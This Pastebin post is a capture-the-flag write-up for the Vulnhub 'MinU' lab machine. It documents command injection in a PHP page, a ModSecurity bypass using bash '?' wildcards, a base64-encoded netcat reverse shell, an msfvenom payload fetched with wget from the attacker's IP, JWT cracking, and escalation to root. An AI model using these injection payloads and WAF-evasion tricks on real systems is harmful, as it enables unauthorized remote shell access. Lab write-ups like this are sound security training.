Harcrack

Vulnhub CTF

Nov 8th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.18 KB | None | 0 0
  1. VULNHUB
  2.  
  3. Minus
  4. nmap scan on 1000 ports TCP and udp
  5.  
  6. 80 tcp open
  7. 68 udp open | filtered
  8. 1445 udp open | filtered
  9. 32769 udp open | filtered
  10. 639 upd open | filtered
  11. 3389 udp open | filtered
  12.  
  13. Going to port 80 on browser gives the default apache page.
  14.  
  15. Running dirb with default list and php extension gives us this dir:
  16. /test.php
  17. This dir shows a webpage with information on user agent used some interesting at the bottom of page we have a buttom to show last visitor data:
  18.  
  19. http://192.168.0.113/test.php?file=last.html|pwd
  20. piping pwd we can see /var/www/html. RCE
  21.  
  22. But thats the only command its working so it must be behind a firewall or something.
  23.  
  24. Running wafwoof:
  25. The site http://192.168.0.113 is behind a ModSecurity (OWASP CRS)
  26.  
  27. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls%20/home >>>>>>> this shows us bob as the user.
  28. notice we append a false url then
  29. ;+$u+ls(command)(args)
  30. then playing around with command we found with:
  31. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls -la /home/bob
  32.  
  33. total 12 drwxr-xr-x 2 bob bob 4096 Apr 26 2018 . drwxr-xr-x 3 root root 4096 Apr 24 2018 .. -rw-r--r-- 1 bob bob 155 Apr 30 2018 "._pw_"
  34.  
  35. now we can cat that file:
  36. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+cat%20/home/bob/._pw_
  37. which give us this encoded string:
  38. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
  39. now reading about this type of encoded string i manage to found its a JWT(JSON WEB TOKEN)
  40. Simply put, a JWT is just a string with the following format:
  41.  
  42. header.payload.signature
  43.  
  44. Now searching for crack tool to this JWT manage to find this:
  45. https://github.com/brendan-rius/c-jwt-cracker
  46. running it we found the secret:
  47. Secret is "mlnV1"
  48. Now create a payload with msfvenom
  49. msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > shell
  50. now we can transfer to target with php server
  51. php –S 0.0.0.0:80
  52. Then download the above malicious file with the help of wget, hence you can run the following command for downloading it into target machine.
  53. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+wget+-O+/tmp/shell+http://192.168.0.114/pay.elf
  54. Now let’s check whether the file is uploaded successfully or not!
  55.  
  56. Run following command to view the malicious file “shell” file inside the /tmp directory.
  57. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+ls /tmp
  58.  
  59. Now give the full permission to the uploaded file “shell” with the help of the following command:
  60. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+chmod 777 /tmp/shell
  61.  
  62. now lets execute our payload
  63. http://192.168.0.113/test.php?file=www.tumadre.com;+$u+/tmp/shell
  64.  
  65. but it seems not working so i tyr another method
  66.  
  67. http://192.168.0.113/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjAuMTE0IDQ0NDQ=|/u?r/b?n/b?se64%20-d|/b?n/sh
  68.  
  69. /bin/ech? equivalent to /bin/echo.
  70. bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjAuMTE0IDQ0NDQ= (nc -e /bin/sh 192.168.0.114 4444) encoded in base64
  71. /u?r/b?n/b?se64%20-d equivalent to /usr/bin/base64 -d in an url encoded evasion
  72. |/b?n/sh equivalent to |/bin/sh.
  73.  
  74. And it worked!!
  75. We have reverse shell
  76.  
  77. Now trying to upgrade to a tty shell we use
  78. bash -i
  79. SHELL=/bin/bash script -q /dev/null
  80. and we have tty
  81. now trying su with the password we found earlier
  82. we got root!
  83.  
  84. root@MinU:~# ccaatt ffllaagg..ttxxtt
  85.  
  86. __ __ _ _ _ __
  87. | \/ (_) | | | | /_ |
  88. | \ / |_ _ __ | | | |_ _| |
  89. | |\/| | | '_ \| | | \ \ / / |
  90. | | | | | | | | |__| |\ V /| |
  91. |_| |_|_|_| |_|\____/ \_/ |_|
  92.  
  93.  
  94. # You got r00t!
  95.  
  96. flag{c89031ac1b40954bb9a0589adcb6d174}
  97.  
  98. # You probably know this by now but the webserver on this challenge is
  99. # protected by mod_security and the owasp crs 3.0 project on paranoia level 3.
  100. # The webpage is so poorly coded that even this configuration can be bypassed
  101. # by using the bash wildcard ? that allows mod_security to let the command through.
  102. # At least that is how the challenge was designed ;)
  103. # Let me know if you got here using another method!
  104.  
  105. # @_8bitsec
  106. #################################################################################
Add Comment
Please, Sign In to add comment